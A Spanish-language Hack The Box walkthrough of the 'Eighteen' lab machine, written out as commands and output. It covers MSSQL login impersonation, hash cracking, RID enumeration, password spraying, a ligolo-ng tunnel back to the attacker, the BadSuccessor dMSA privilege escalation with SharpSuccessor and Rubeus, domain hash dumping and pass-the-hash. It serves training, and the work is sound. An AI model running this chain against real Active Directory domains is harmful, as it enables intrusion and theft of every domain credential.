Descripción
Eighteen es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Supuesto escenario de brecha de un Directorio Activo y enumeración de servicios
- Suplantación de usuario de Microsoft SQL server para leer la base de datos del servicio web
- Recuperación de contraseña mediante la recuperación de un hash encontrado en la base de datos MSSQL
- Pivote de usuario mediante la reutilización de contraseña y enumeración de usuario mediante ataque de enumeración de RIDs
- Escalada de privilegios mediante el grupo al que pertenece el usuario con la capacidad de escribir en un OU, explotando dMSA, utilizando el ataque BadSuccessor
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.71.55.
$ ping -c 3 10.129.71.55
PING 10.129.71.55 (10.129.71.55) 56(84) bytes of data.
64 bytes from 10.129.71.55: icmp_seq=1 ttl=127 time=47.7 ms
64 bytes from 10.129.71.55: icmp_seq=2 ttl=127 time=48.6 ms
64 bytes from 10.129.71.55: icmp_seq=3 ttl=127 time=47.8 ms
--- 10.129.71.55 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 47.723/48.049/48.583/0.380 ms
La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.129.71.55 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.71.55
Host is up (0.048s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
1433/tcp open ms-sql-s
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 15.98 seconds
Encontramos los puertos abiertos 80, 1433 y 5985.
Enumeración
Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.129.71.55 -Pn -sV -sC -p80,1433,5985 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.71.55
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-11-16T02:03:25+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-13T19:00:09
|_Not valid after: 2055-11-13T19:00:09
| ms-sql-ntlm-info:
| 10.129.71.55:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
| ms-sql-info:
| 10.129.71.55:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds
Encontramos un servicio de Microsoft SQL Server en ejecución en el servidor. Tenemos las credenciales del usuario kevin, iNa2we6haRj2gaw!, como una supuesta brecha. Verificamos.
$ netexec mssql 10.129.71.55 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL 10.129.71.55 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.71.55 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
La credencial es válida para el servicio. Nos movemos al aplicativo web y agregamos el host eighteen.htb y el DC al archivo /etc/hosts.
$ echo '10.129.71.55 eighteen.htb' | sudo tee -a /etc/hosts
$ echo '10.129.71.55 DC01.eighteen.htb' | sudo tee -a /etc/hosts
Encontramos una aplicación web financiera en la que podemos iniciar sesión o crear una cuenta.
Después de crear la cuenta, estamos en condiciones de usar la aplicación financiera en la que podemos ingresar nuestra ingresos y nuestros gastos.
Encontramos una sección de administración, pero no podemos acceder con los privilegios actuales, Access denied. Admin privileges required.. Nos movemos a enumerar la base de datos de Microsoft SQL Server.
$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!'@eighteen.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (kevin guest@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
SQL (kevin guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
SQL (kevin guest@master)> use financial_planner;
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
Encontramos una base de datos relacionada con la aplicación web, financial_planner. No podemos enumerarla ya que no tenemos permisos. Pero podemos suplantar al usuario appdev, el cual tiene permisos para leer la base de datos y luego enumerar sus diferentes tablas, y específicamente la tabla users.
SQL (kevin guest@master)> exec_as_login appdev
SQL (appdev appdev@master)> use financial_planner;
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)> select * from financial_planner.information_schema.tables;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
----------------- ------------ ----------- ----------
financial_planner dbo users b'BASE TABLE'
financial_planner dbo incomes b'BASE TABLE'
financial_planner dbo expenses b'BASE TABLE'
financial_planner dbo allocations b'BASE TABLE'
financial_planner dbo analytics b'BASE TABLE'
financial_planner dbo visits b'BASE TABLE'
SQL (appdev appdev@financial_planner)> select * from users;
id full_name username email password_hash is_admin created_at
---- --------- -------- -------------------- ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03
Encontramos el usuario admin con la contraseña en hash pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 de tipo PBKDF2-SHA256. Vamos a romper el hash con la herramienta Hashcat, pero primero necesitamos hacer algunos cambios al hash para que sea aceptado por el programa. La primera parte con el tipo de hash y las rondas de hash se convertirá en pbkdf2_sha256$600000. Luego, el hash de la contraseña, que está en formato hexadecimal, 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133, se convertirá en codificación Base64, resultando en BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=. El hash convertido completo es:
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
Explotación
Recuperamos la contraseña del hash.
$ hashcat hash.txt rockyou.txt
...
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
...
La contraseña del administrador es iloveyou1. Podemos iniciar sesión en el sitio web y acceder al panel de administración, pero no encontramos nada de valor.
Como tenemos dos contraseñas, vamos a realizar la técnica de RID-cycling para enumerar a todos los usuarios en el servidor a través del Microsoft SQL Server.
$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
MSSQL 10.129.71.55 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.71.55 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
MSSQL 10.129.71.55 1433 DC01 498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL 10.129.71.55 1433 DC01 500: EIGHTEEN\Administrator
MSSQL 10.129.71.55 1433 DC01 501: EIGHTEEN\Guest
MSSQL 10.129.71.55 1433 DC01 502: EIGHTEEN\krbtgt
...
MSSQL 10.129.71.55 1433 DC01 1000: EIGHTEEN\DC01$
...
MSSQL 10.129.71.55 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.129.71.55 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.129.71.55 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.129.71.55 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.129.71.55 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.129.71.55 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.129.71.55 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.129.71.55 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.129.71.55 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.129.71.55 1433 DC01 1612: EIGHTEEN\dave.green
Encontramos los grupos HR, IT y Finance y los usuarios jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, carol.white y dave.green. Verificamos si alguno de los usuarios tiene el permiso de crear una sesión remota a través del protocolo WinRM en el puerto 5985.
$ netexec winrm eighteen.htb -u users -p passwords
WINRM 10.129.71.55 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
...
WINRM 10.129.71.55 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
Obtenemos una coincidencia para el usuario adam.scott, con la contraseña iloveyou1. Podemos desplegar una sesión remota.
$ evil-winrm-py -i eighteen.htb -u adam.scott -p 'iloveyou1'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'eighteen.htb:5985' as 'adam.scott'
...
evil-winrm-py PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
Post-Explotación
Como no tenemos muchos puertos abiertos de la máquina para la enumeración del Active Directory, vamos a utilizar la herramienta ligolo-ng para mapear los puertos locales del Controlador de Dominio a la dirección IP 240.0.0.1. Comenzamos iniciando el proxy en nuestra máquina, creando una nueva interfaz de red y agregando la nueva ruta.
$ sudo ligolo-proxy -selfcert
...
INFO[0003] Listening on 0.0.0.0:11601
ligolo-ng » interface_create
INFO[0037] Generating a random interface name...
INFO[0037] Creating a new exoticplastic interface...
INFO[0037] Interface created!
ligolo-ng » route_add --name exoticplastic --route 240.0.0.1/32
INFO[0070] Route created.
Entonces enviamos el binario del agente ligolo-ng a la máquina remota y lo iniciamos.
evil-winrm-py PS C:\Users\adam.scott\Documents> upload ligolo-ng_agent_0.8.2_windows_amd64.exe .
evil-winrm-py PS C:\Users\adam.scott\Documents> .\ligolo-ng_agent_0.8.2_windows_amd64.exe -ignore-cert -connect 10.10.14.57:11601
Entonces en nuestra sesión de proxy iniciamos el túnel a la máquina.
ligolo-ng » session
? Specify a session : 1 - EIGHTEEN\adam.scott@DC01 - 10.129.71.55:49878 - 005056943eba
[Agent : EIGHTEEN\adam.scott@DC01] » tunnel_start --tun exoticplastic
INFO[0203] Starting tunnel to EIGHTEEN\adam.scott@DC01 (005056943eba)
Ahora necesitamos cambiar las direcciones IP que apuntan al dominio eighteen.htb en el archivo /etc/hosts a la dirección IP 240.0.0.1 (debemos eliminar las líneas anteriores).
$ echo '240.0.0.1 eighteen.htb DC01.eighteen.htb' | sudo tee -a /etc/hosts
Ahora podemos volver a escanear la máquina con la herramienta Nmap.
$ nmap 240.0.0.1 -Pn -sV -sC -oN nmap_scan_ports_2
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for eighteen.htb (240.0.0.1)
Host is up (0.056s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: eighteen.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 240.0.0.1:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 240.0.0.1:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
1434/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: eighteen.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|_ start_date: N/A
|_clock-skew: mean: 7h00m38s, deviation: 0s, median: 7h00m38s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.82 seconds
Encontramos los servicios comunes relacionados con un Controlador de Dominio de un Active Directory. Sincronizamos nuestro reloj con el de la máquina para evitar problemas futuros.
$ sudo timedatectl set-ntp off
$ sudo rdate -n eighteen.htb
Enumerando el dominio con bloodyAD, encontramos que tenemos el permiso CREATE_CHILD sobre la unidad organizativa Staff (OU).
$ bloodyAD -u adam.scott -p iloveyou1 -d eighteen.htb --host 240.0.0.1 get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=eighteen,DC=htb
permission: WRITE
distinguishedName: OU=Staff,DC=eighteen,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
permission: WRITE
La vulnerabilidad BadSuccessor, detallada por Akamai, abusa de dMSA para escalar privilegios en Active Directory. Cualquier usuario que tenga ya sea el permiso Create msDS-DelegatedManagedServiceAccount o Create all child objects en cualquier OU puede crear un dMSA. Podemos utilizar la herramienta SharpSuccessor desarrollada por logangoins, y su binario para explotar la vulnerabilidad. También utilizaremos una versión específica de Rubeus para generar los tickets después de la generación de la cuenta dMSA. Nos movemos a la terminal de la máquina remota.
evil-winrm-py PS C:\Users\adam.scott\Documents> upload SharpSuccessor.exe .
evil-winrm-py PS C:\Users\adam.scott\Documents> upload Rubeus.exe .
Comenzamos creando la cuenta maliciosa dMSA, especificando la ou=Staff,dc=eighteen,dc=htb OU, el nombre de usuario que queremos suplantar Administrator, nuestro nombre de usuario adam.scott y el nombre de la cuenta dMSA attacker_dMSA.
evil-winrm-py PS C:\Users\adam.scott\Documents> .\SharpSuccessor.exe add /impersonate:Administrator /path:"ou=Staff,dc=eighteen,dc=htb" /account:adam.scott /name:attacker_dMSA
[+] Adding dnshostname attacker_dMSA.eighteen.htb
[+] Adding samaccountname attacker_dMSA$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dMSA' in 'ou=Staff,dc=eighteen,dc=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb written to Administrator object
[+] msDS-SupersededServiceAccountState set to 2
[!] Exception: Access is denied.
Obtenemos un error al final de la salida, pero podemos ignorarlo ya que el objeto dMSA malicioso se ha generado. Ahora vamos a generar un TGT (Ticket Granting Ticket) para nuestro usuario loggeado y guardarlo en el archivo adam.kirbi. Luego generaremos el TGS (Ticket Granting Service) para el servicio krbtgt para tener acceso a los servicios y recursos de credenciales. Lo guardaremos en el archivo kerberos.kirbi.
evil-winrm-py PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgt /user:adam.scott /password:iloveyou1 /enctype:aes256 /outfile:adam.kirbi
...
[*] Action: Ask TGT
[*] Got domain: eighteen.htb
[*] Using salt: EIGHTEEN.HTBadam.scott
[*] Using aes256_cts_hmac_sha1 hash: 02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\adam.scott'
[*] Using domain controller: fe80::cfc4:b9ea:e167:eac8%3:88
[+] TGT request successful!
...
[*] Ticket written to adam.kirbi
ServiceName : krbtgt/eighteen.htb
ServiceRealm : EIGHTEEN.HTB
UserName : adam.scott (NT_PRINCIPAL)
UserRealm : EIGHTEEN.HTB
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 1gygRu40XcXT7V88NjWhZe/x8nK2pieC5t9y1s3nhw4=
ASREP (key) : 02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5
...
evil-winrm-py PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/eighteen.htb /opsec /dmsa /nowrap /ticket:adam.
kirbi /outfile:kerberos.kirbi
...
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'attacker_dmsa$' from 'adam.scott'
[+] Sequence number is: 790749452
[*] Using domain controller: DC01.eighteen.htb (fe80::cfc4:b9ea:e167:eac8%3)
[+] TGS request successful!
...
ServiceName : krbtgt/EIGHTEEN.HTB
ServiceRealm : EIGHTEEN.HTB
UserName : attacker_dmsa$ (NT_PRINCIPAL)
UserRealm : eighteen.htb
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : Wk+IerNDhOfAl+27sTdGGxMPEvp+c3ZrJ4H8FvunKmk=
Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) C2DE20BCF425C24738054283C99700616FD1E17776561EB6C730805430A56544
[*] Ticket written to kerberos.kirbi
Ahora, recuperamos el ticket en nuestra máquina.
evil-winrm-py PS C:\Users\adam.scott\Documents> download kerberos.kirbi .
Después, lo convertimos con la herramienta impacket-ticketConverter a un formato ccache y luego lo usamos con la herramienta impacket-secretsdump para volcar todas las credenciales del dominio, para obtener el hash NTLM del usuario Administrator.
$ impacket-ticketConverter kerberos.kirbi kerberos.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
$ KRB5CCNAME=./kerberos.ccache impacket-secretsdump "eighteen.htb/attacker_dmsa$"@dc01.eighteen.htb -k -no-pass -just-dc-ntlm
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
attacker_dMSA$:12601:aad3b435b51404eeaad3b435b51404ee:02c3aa1ffe07dfe71f91b3222679ef57:::
[*] Cleaning up...
Obtenemos el hash NTLM del usuario Administrator, 0b133be956bfaddf9cea56701affddec y lo usamos para crear una sesión remota.
$ evil-winrm-py -i eighteen.htb -u Administrator -H '0b133be956bfaddf9cea56701affddec'
[*] Connecting to 'eighteen.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
Flags
En la sesión de Administrator podemos recuperar las flags user.txt y root.txt.
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Users\adam.scott\Desktop\user.txt
<REDACTED>
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>